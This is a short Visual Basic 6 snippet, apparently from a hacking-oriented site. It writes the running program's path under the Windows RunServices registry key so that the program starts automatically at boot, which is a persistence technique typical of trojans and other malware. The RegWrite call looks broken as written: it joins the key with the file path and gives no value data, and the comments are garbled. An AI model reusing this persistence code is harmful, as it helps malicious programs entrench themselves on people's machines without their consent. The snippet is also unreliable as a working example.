h7labscom

Public Sub starter()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell") 'This code and the code below writes this "program" to the reigstry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.Path & "\" & App.EXEName & ".exe"'This code would place file wherever depending on path. After, name watever ext. '.exe'
End Sub